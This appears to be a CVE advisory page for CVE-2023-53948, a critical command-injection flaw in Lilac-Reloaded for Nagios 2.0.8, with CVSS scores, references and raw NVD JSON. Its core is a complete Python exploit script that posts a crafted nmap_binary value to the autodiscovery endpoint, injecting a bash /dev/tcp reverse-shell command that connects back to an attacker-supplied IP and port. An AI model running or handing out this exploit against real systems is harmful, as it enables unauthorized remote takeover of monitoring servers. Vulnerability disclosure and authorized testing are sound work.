Security Vulnerability Report
中文
CVE-2023-53948 CVSS 9.8 CRITICAL

CVE-2023-53948

Published: 2025-12-19 21:15:50
Last Modified: 2026-04-15 00:35:42

Description

Lilac-Reloaded for Nagios 2.0.8 contains a remote code execution vulnerability in the autodiscovery feature that allows attackers to inject arbitrary commands. Attackers can exploit the lack of input filtering in the nmap_binary parameter to execute a reverse shell by sending a crafted POST request to the autodiscovery endpoint.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lilac-Reloaded for Nagios <= 2.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2023-53948 PoC - Lilac-Reloaded for Nagios RCE via nmap_binary parameter # Target: Lilac-Reloaded for Nagios 2.0.8 # Vulnerability: Command Injection in autodiscovery feature def exploit_rce(target_url, attacker_ip, attacker_port): """ Exploit the command injection vulnerability in nmap_binary parameter. This PoC demonstrates how an attacker can achieve reverse shell execution. Args: target_url: Base URL of the vulnerable Lilac-Reloaded application attacker_ip: Attacker's IP address for reverse shell callback attacker_port: Attacker's listening port for reverse shell """ endpoint = f"{target_url}/autodiscovery" # Construct reverse shell payload using common shell techniques # The payload uses bash to connect back to attacker machine reverse_shell = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # Payload for command injection via nmap_binary parameter payload = { 'nmap_binary': f'; {reverse_shell} #', 'action': 'scan', 'targets': '127.0.0.1' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2023-53948-PoC)' } try: print(f"[*] Sending exploit payload to: {endpoint}") print(f"[*] Payload: nmap_binary = {payload['nmap_binary']}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Check your listener on {attacker_ip}:{attacker_port}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53948_poc.py <target_url> <attacker_ip> <attacker_port>") print("Example: python cve-2023-53948_poc.py http://vulnerable-server.com 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] print("="*60) print("CVE-2023-53948 - Lilac-Reloaded for Nagios RCE PoC") print("="*60) exploit_rce(target, ip, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53948", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:50.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lilac-Reloaded for Nagios 2.0.8 contains a remote code execution vulnerability in the autodiscovery feature that allows attackers to inject arbitrary commands. Attackers can exploit the lack of input filtering in the nmap_binary parameter to execute a reverse shell by sending a crafted POST request to the autodiscovery endpoint."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://exchange.nagios.org/directory/addons/configuration/lilac-2dreloaded/details/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51374", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/lilac-reloaded-for-nagios-remote-code-execution-via-autodiscovery", "source": "[email protected]"}]}}